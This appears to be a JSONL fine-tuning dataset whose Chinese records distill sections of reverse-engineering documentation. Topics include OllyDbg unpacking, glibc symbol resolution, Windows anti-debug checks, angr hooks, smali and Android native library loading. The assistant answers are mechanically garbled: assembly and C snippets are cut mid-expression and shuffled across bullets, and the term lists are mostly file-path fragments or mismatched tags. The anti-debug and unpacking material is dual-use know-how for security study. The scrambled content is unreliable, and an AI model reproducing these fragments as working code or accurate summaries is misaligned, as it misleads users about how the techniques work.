"chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "Shared Object Dependencies", "heading_path": ["程序链接", "动态链接", "Shared Object Dependencies"], "original_id": "docs-435e50b1512a9f4b34d7", "original_line": 446, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/program-linking.md", "source_root": "docs", "source_sha256": "4228ace692de3c2aa126a27a515adc4682717d3c882ef8577edc0bf82f198fff", "split": "train", "split_group_key": "bf6ba01a8ad6ceb8b81ca03c", "subcategory": "executable/elf/linking", "terms": ["executable", "elf", "linking", "program-linking.md"], "title": "程序链接"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/program-linking.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-c45725db60918545fc0e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/unpack/memory.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/unpack/memory.md`\n标题：内存镜像法\n章节：内存镜像法 > 示例\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 示例程序可以点击此处下载: 4_memory.zip OD载入程序, 在菜单栏的选项->调试设置->异常标签页中勾选所有的忽略异常 [图片: memory_01.png;\n- 文件: ./figure/memory_01.png] 按下Alt+M打开内存镜像, 找到资源段, 也就是地址=00407000, 大小=00005000的.rsrc段, 选中F2下断 [图片: memory_02.png;\n- 文件: ./figure/memory_02.png] 回到CPU窗口, 按下F9运行, 程序断在了0040D75F处 [图片: memory_03.png;\n- 文件: ./figure/memory_03.png] 再次按下Alt+M打开内存镜像, 对.text代码段下断 [图片: memory_04.png;\n- 文件: ./figure/memory_04.png] 再继续运行, 程序断在了004010CC处, 也就是OEP [图片: memory_05.png;\n- 文件: ./figure/memory_05.png]\n\n关键术语：\n- reverse\n- platform\n- windows\n- unpack\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 575, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "示例", "heading_path": ["内存镜像法", "示例"], "original_id": "docs-71d35294acf94801fc85", "original_line": 1544, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/memory.md", "source_root": "docs", "source_sha256": "974d78d4ecb9aaa2547fea8991f8ec83bce58cc8f5c6c497dac11d2e8aab1378", "split": "train", "split_group_key": "a0efc5947ea41f3e99d1e50d", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "unpack"], "title": "内存镜像法"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/unpack/memory.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-c5061fd26469861f6b7f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/linking/symbol-resolve.md` 中的章节「_dl_fixup」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/linking/symbol-resolve.md`\n标题：Symbol Resolution\n章节：endif > _dl_fixup\n路径分类：executable / executable/elf/linking\n分块：1/2\n\n核心知识点：\n- _dl_runtime_resolve 中执行的最核心的函数就是 _dl_fixup 了，如下（这里也给出了一些相关的宏），需要注意的是，64 位下的 reloc_arg 就是 reloc_index。\n- ``c / We use this macro to refer to ELF types independent of the native wordsize.\n- #define LOOKUP_VALUE(map) map #define LOOKUP_VALUE_ADDRESS(map, set) ((set) || (map) ?\n- (map)->l_addr : 0) / Calculate the address of symbol REF using the base address from map MAP, if non-NULL.\n- Don't check for NULL map if MAP_SET is TRUE. */ #define SYMBOL_ADDRESS(map, ref, map_set) \\ ((ref) == NULL ?\n- 0 \\ : (__glibc_unlikely((ref)->st_shndx == SHN_ABS) ?\n\n关键术语：\n- executable\n- elf\n- linking\n- symbol-resolve.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 2016, "chunk_count": 2, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "_dl_fixup", "heading_path": ["endif", "_dl_fixup"], "original_id": "docs-26e93794a76a452b6883", "original_line": 454, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "source_root": "docs", "source_sha256": "af2f538caa3e68f7f0ed6d9fb7f77b950f3a11aa74906c2f7fe420e6d494a691", "split": "train", "split_group_key": "d1aa626366cdc690fd4487ae", "subcategory": "executable/elf/linking", "terms": ["executable", "elf", "linking", "symbol-resolve.md"], "title": "Symbol Resolution"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/linking/symbol-resolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-c5199efcf023e9f0e8ef", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/ntqueryinformationprocess.md` 中的章节「ProcessDebugFlags」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/ntqueryinformationprocess.md`\n标题：NtQueryInformationProcess\n章节：NtQueryInformationProcess > ProcessDebugFlags\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- ProcessDebugFlags (0x1f)类返回EPROCESS结构体的NoDebugInherit的相反数. 意思是, 当调试器存在时, 返回值为0, 不存在时则返回1. 可以用以下32位代码在32位环境进行检测: `` asm push eax mov eax, esp push 0 push 4 ;\n- GetCurrentProcess() call NtQueryInformationProcess pop eax test eax, eax je being_debugged ` 用以下64位代码在64位环境进行检测: ` asm xor ebp, ebp enter 20h, 0 push 4 ;\n- GetCurrentProcess() call NtQueryInformationProcess leave test ebp, ebp je being_debugged ``\n- ProcessInformationLength push eax push 1fh ;\n- ProcessInformationLength pop r9 push rbp pop r8 push 1fh ;\n- ProcessDebugFlags push -1 ;\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n代码/命令片段线索：\n- plain: 1 行，首行 `用以下64位代码在64位环境进行检测:`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 587, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "ProcessDebugFlags", "heading_path": ["NtQueryInformationProcess", "ProcessDebugFlags"], "original_id": "docs-535fde355813b17b8d50", "original_line": 1531, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntqueryinformationprocess.md", "source_root": "docs", "source_sha256": "0a310c18d604be10c56ee2d1d2fbb3ababf64c326a45c7830ea6cbd15bd863ee", "split": "train", "split_group_key": "9cbbe94a540b0f5ad9d01a22", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "NtQueryInformationProcess"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/ntqueryinformationprocess.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-c51f325b2b1fab61cf9b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/tools/simulate-execution/angr.md` 中的章节「Function hook」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/tools/simulate-execution/angr.md`\n标题：angr\n章节：angr > 基本用法 > Function hook\n路径分类：reverse / reverse/tools/simulate-execution\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Function hook”展开。\n- 有的时候我们会有需要 hook 掉某个函数的需求，此时我们可以使用 project.hook(addr = call_insn_addr, hook = my_function, length = n) 来 hook 掉对应的 call 指令： - call_insn_addr：被 hook 的 call 指令的地址 - my_function ：我们的自定义 python 函数 - length： call 指令的长度 我们的自定义函数应当为接收 state 作为参数的函数，angr 还提供了 decora...\n\n关键术语：\n- reverse\n- tools\n- simulate-execution\n- angr.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 300, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "Function hook", "heading_path": ["angr", "基本用法", "Function hook"], "original_id": "docs-e4d3bc946a9523489ae2", "original_line": 85, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "source_root": "docs", "source_sha256": "ff8198cfd0c20de1f99791c29774d1183fb5166cdc23a8cd087eea402fb6c870", "split": "train", "split_group_key": "0071b091773a0cd8f5184783", "subcategory": "reverse/tools/simulate-execution", "terms": ["reverse", "tools", "simulate-execution", "angr.md"], "title": "angr"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/tools/simulate-execution/angr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-c6e361f782f71ddd3770", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_reverse/overview.md` 中的章节「Android 逆向基本介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_reverse/overview.md`\n标题：Android 逆向基本介绍\n章节：Android 逆向基本介绍\n路径分类：android / android/basic_reverse/overview.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Android 逆向基本介绍”展开。\n- 目前来说，Android 逆向主要应用于以下几个方向 1. app 安全审查 2. 系统漏洞挖掘 3. 恶意代码杀查 4. 同行业产品技术原理分析 5. 移除安全机制\n- 首先，我们需要明确一下 Android 逆向的目的： 希望分析出程序的功能 。\n- 分析对象，一般有以下两类对象 - java，层代码 - 原生层代码 不难看出，要想分析 Android 应用，基本的 java 层的知识与原生层的知识还是有必要掌握的。\n- 那么我们自然也就有两个方面（方法与对象）可以考虑 - 分析方法，可以采用以下方式 - 静态分析，对源代码进行逆向，然后阅读分析 - 动态分析，对代码进行动态调试，一般来说动态分析离不开静态分析。\n\n关键术语：\n- Android逆向\n- 漏洞利用\n- android\n- basic-reverse\n- overview.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 319, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "reverse", "heading": "Android 逆向基本介绍", "heading_path": ["Android 逆向基本介绍"], "original_id": "docs-e3cfdcd7abad383d3d90", "original_line": 77, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/overview.md", "source_root": "docs", "source_sha256": "c279d818b7de2fa1e9986b1424047f794101f702c61f8fd18569346a3e0ce8c7", "split": "train", "split_group_key": "39b6117cbdc6d3c0c63df1f9", "subcategory": "android/basic_reverse/overview.md", "terms": ["Android逆向", "漏洞利用", "android", "basic-reverse", "overview.md"], "title": "Android 逆向基本介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_reverse/overview.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-c8de09ee509572c6e463", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/introduction.md` 中的章节「逆向tips」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/introduction.md`\n标题：软件逆向工程简介\n章节：软件逆向工程简介 > 常规逆向流程 > 逆向tips\n路径分类：reverse / reverse/introduction.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“逆向tips”展开。\n- 1. 编码风格 每个程序员的编码风格都有所不同，熟悉开发设计模式的同学能更迅速地分析出函数模块功能 2. 集中原则 程序员开发程序时，往往习惯将功能相关的代码或是数据写在同一个地方，而在反汇编代码中也能显示出这一情况，因此在分析时可以查看关键代码附近的函数和数据。\n- 在分析时可以找一些特征（如字符串，代码风格等）在Github搜索，可能会发现类似的代码，并据此恢复出分析时缺失的符号信息等。\n- 3. 代码复用 代码复用情况非常普遍，而最大的源代码仓库Github则是最主要的来源。\n- 4. 七分逆向三分猜 合理的猜测往往能事半功倍，遇到可疑函数却看不清里面的逻辑，不妨根据其中的蛛丝马迹猜测其功能，并依据猜测继续向下分析，在不断的猜测验证中，或许能帮助你更加接近代码的真相。\n- 5. 区分代码 拿到反汇编代码，必须能区分哪些代码是人为编写的，而哪些是编译器自动附加的代码。\n\n关键术语：\n- reverse\n- introduction.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 577, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "逆向tips", "heading_path": ["软件逆向工程简介", "常规逆向流程", "逆向tips"], "original_id": "docs-adf40df055d78f435e29", "original_line": 1471, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/introduction.md", "source_root": "docs", "source_sha256": "768d6c888495fdf1c7fba9f305b7709fab79f182d1e6812c5f92443f4bf7d7df", "split": "train", "split_group_key": "b9e66f0d6a81c9dc96989e05", "subcategory": "reverse/introduction.md", "terms": ["reverse", "introduction.md"], "title": "软件逆向工程简介"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-cac9c941895fcbe498e1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「Dalvik指令格式」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 执行语句 > Dalvik指令格式\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Dalvik指令格式”展开。\n- 在介绍 smali 语法中的指令之前，我们先来看看 Dalvik 指令的基本格式。\n- 目前 Dalvik 中基本上所有的指令如下图所示，其中第一列给出了指令按照位进行描述的格式，第二列是格式化 ID ，第三列表示相应的句法，第四列对其进行说明。\n- [图片文件: ./figure/Dalvik-Executable-instruction-formats.png]\n- Dalvik 中指令的格式主要包含两个方面：位描述，格式ID。\n\n关键术语：\n- Android逆向\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 213, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "Dalvik指令格式", "heading_path": ["interfaces", "执行语句", "Dalvik指令格式"], "original_id": "docs-1dbe310a73fca3cd5c88", "original_line": 47, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "ca83bbb9aae8b1d05373475e", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "android", "basic-operating-mechanism", "java-layer", "smali"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-cbab829095bbaa522a53", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/example.md` 中的章节「比较明文字符串」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/example.md`\n标题：反调试技术例题\n章节：反调试技术例题 > 比较明文字符串\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“比较明文字符串”展开。\n- v22 ) { ...... } ` 这里就是输出Input password >. 然后用fgets()获取用户输入的字符串, 将I have a pen.复制到v21的缓冲区中, 然后用strncmp比对用户输入与I have a pen.的内容, 并将比较结果返回给v22. 以下会根据v22, 也就是根据输入的password`是否正确, 而进行跳转.\n- `` c printf(\"Input password >\");\n- v3 = (FILE *)sub_40223D();\n- strcpy(v21, \"I have a pen.\");\n- v22 = strncmp(&v23, v21, 0xDu);\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 373, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "比较明文字符串", "heading_path": ["反调试技术例题", "比较明文字符串"], "original_id": "docs-790dccb5752e3e723c97", "original_line": 1505, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "source_root": "docs", "source_sha256": "5a7151f125d55cfe0319c38e27d1048d38ffec185786c112507c0baa82273cee", "split": "train", "split_group_key": "95ac826fbd813e5746275ead", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "反调试技术例题"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-cbabcc3da16c78c71343", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/native_layer/so.md` 中的章节「load 加载流程」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/native_layer/so.md`\n标题：so 介绍\n章节：so 介绍 > load 加载流程\n路径分类：android / android/basic_operating_mechanism/native_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“load 加载流程”展开。\n- } / Loads and links the given library without security checks. / void load(String pathName, ClassLoader loader) { if (pathName == null) { throw new NullPointerException(\"pathName == null\");\n- } String error = doLoad(pathName, loader);\n- = null) { throw new UnsatisfiedLinkError(error);\n- } } `` 其同样也会调用load 的两个参数的重载函数，继而会调用doLoad函数。\n- 根据官方 API 说明，如下 > The call System.load(name) is effectively equivalent to the call: > > ``java > Runtime.getRuntime().load(name) > ` 其同样也是调用 Runtime.java 中的函数，如下 `java /* Loads and links the dynamic library that is identified through the specified path.\n\n关键术语：\n- 栈\n- Android逆向\n- android\n- basic-operating-mechanism\n- native-layer\n- so.md\n- code:java\n\n代码/命令片段线索：\n- java: 2 行，首行 `> Runtime.getRuntime().load(name)`\n- java: 26 行，首行 `/**`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1099, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "load 加载流程", "heading_path": ["so 介绍", "load 加载流程"], "original_id": "docs-8899dbb39e84682c131b", "original_line": 71, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/native_layer/so.md", "source_root": "docs", "source_sha256": "177ae3216c4014a84a5b4b0bf3da85057941f6578ea85692932859c1fed69579", "split": "train", "split_group_key": "96bc27dd583640c8cedd23e2", "subcategory": "android/basic_operating_mechanism/native_layer", "terms": ["栈", "Android逆向", "android", "basic-operating-mechanism", "native-layer", "so.md", "code:java"], "title": "so 介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/native_layer/so.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "reverse", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-cc9b80baed5ea1915504", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/reverse/platform/windows/anti-debug/isdebuggerpresent.md` 中的章节「检测代码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/reverse/platform/windows/anti-debug/isdebuggerpresent.md`\n标题：IsDebuggerPresent\n章节：IsDebuggerPresent > 检测代码\n路径分类：reverse / reverse/platform/windows\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“检测代码”展开。\n- 它的检测方法非常简单, 比如用以下代码(32位还是64位都是相同的这份代码)在32位/64位环境中检测: `` asm call IsDebuggerPresent test al, al jne being_debugged ` 实际上, 这个函数只是单纯地返回了BeingDebugged标志的值. 检查BeingDebugged标志位的方法也可以用以下32代码位代码检查32位环境来实现: ` asm mov eax, fs:[30h] ;\n- check BeingDebugged jne being_debugged ` 或使用64位代码检测64位环境 ` asm push 60h pop rsi gs:lodsq ;\n- check BeingDebugged jne being_debugged ` 或使用32位代码检测64位环境 ` asm mov eax, fs:[30h] ;\n- check BeingDebugged jne being_debugged ``\n- Process Environment Block cmp b [eax+2], 0 ;\n\n关键术语：\n- reverse\n- platform\n- windows\n- anti-debug\n\n代码/命令片段线索：\n- plain: 1 行，首行 `实际上, 这个函数只是单纯地返回了`BeingDebugged`标志的值. 检查`BeingDebugged`标志位的方法也可以用以下32代码位代码检查32位环境来实现:`\n- plain: 1 行，首行 `或使用64位代码检测64位环境`\n- plain: 1 行，首行 `或使用32位代码检测64位环境`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "reverse", "chars": 673, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "检测代码", "heading_path": ["IsDebuggerPresent", "检测代码"], "original_id": "docs-214598ff05252d8ff777", "original_line": 1520, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/isdebuggerpresent.md", "source_root": "docs", "source_sha256": "700a558898ae15b54d6bacfc3561655860ff63feb6027eface99a30676286e47", "split": "train", "split_group_key": "6f4fc8bac611f7d9884156b2", "subcategory": "reverse/platform/windows", "terms": ["reverse", "platform", "windows", "anti-debug"], "title": "IsDebuggerPresent"}, "source_dataset": "docs_distilled_v1", "source_path": "reverse/platform/windows/anti-debug/isdebuggerpresent.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "reverse", "dataset": "ctf-dataset", "id": "ctf-lora-cf92ce20479e83fe6806", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/java_layer/smali/smali.md` 中的章节「类的引用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/java_layer/smali/smali.md`\n标题：Smali\n章节：interfaces > 类的引用\n路径分类：android / android/basic_operating_mechanism/java_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“类的引用”展开。\n- 此外，在smali中，每个类都会对应一个 smali 文件，这几个类对应的 smali 文件名分别为 ` MainActivity.smali MainActivity$firstinner.smali MainActivity$firstinner$secondinner.smali MainActivity$firstinner$thirdinner.smali ``\n- 在smali代码中，我们会使用 this 来表示父类的引用，对于父类的中的子类，我们会根据其层数来进行引用，其格式为this$[层数] ，举个例子 ``java public class MainActivity extends Activity { //this$0 public class firstinner //this$1 { public class secondinner //this$2 { public class thirdinner //this$3 { } } } } ` 比如说thi...\n- 而且，对于this$x 这样的字段都会被定义为synthetic 类型，表明这种字段是由编译器自动生成的，在源代码里并没有这样的字段。\n\n关键术语：\n- Android逆向\n- AI安全\n- android\n- basic-operating-mechanism\n- java-layer\n- smali\n- code:java\n\n代码/命令片段线索：\n- java: 11 行，首行 `public class MainActivity extends Activity { //this$0`\n- plain: 4 行，首行 `MainActivity.smali`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 582, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "reverse", "heading": "类的引用", "heading_path": ["interfaces", "类的引用"], "original_id": "docs-f7997d39d6b93ab19f2a", "original_line": 46, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "source_root": "docs", "source_sha256": "4ff875b05967c0461404eabcd2da9a4a3ec820c077f24c06ac9d0682a8f2faf2", "split": "train", "split_group_key": "0fc11ed0aff4003bf8fb104a", "subcategory": "android/basic_operating_mechanism/java_layer", "terms": ["Android逆向", "AI安全", "android", "basic-operating-mechanism", "java-layer", "smali", "code:java"], "title": "Smali"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/java_layer/smali/smali.md", "split": "train", "type": "ctf_lora_sft"}
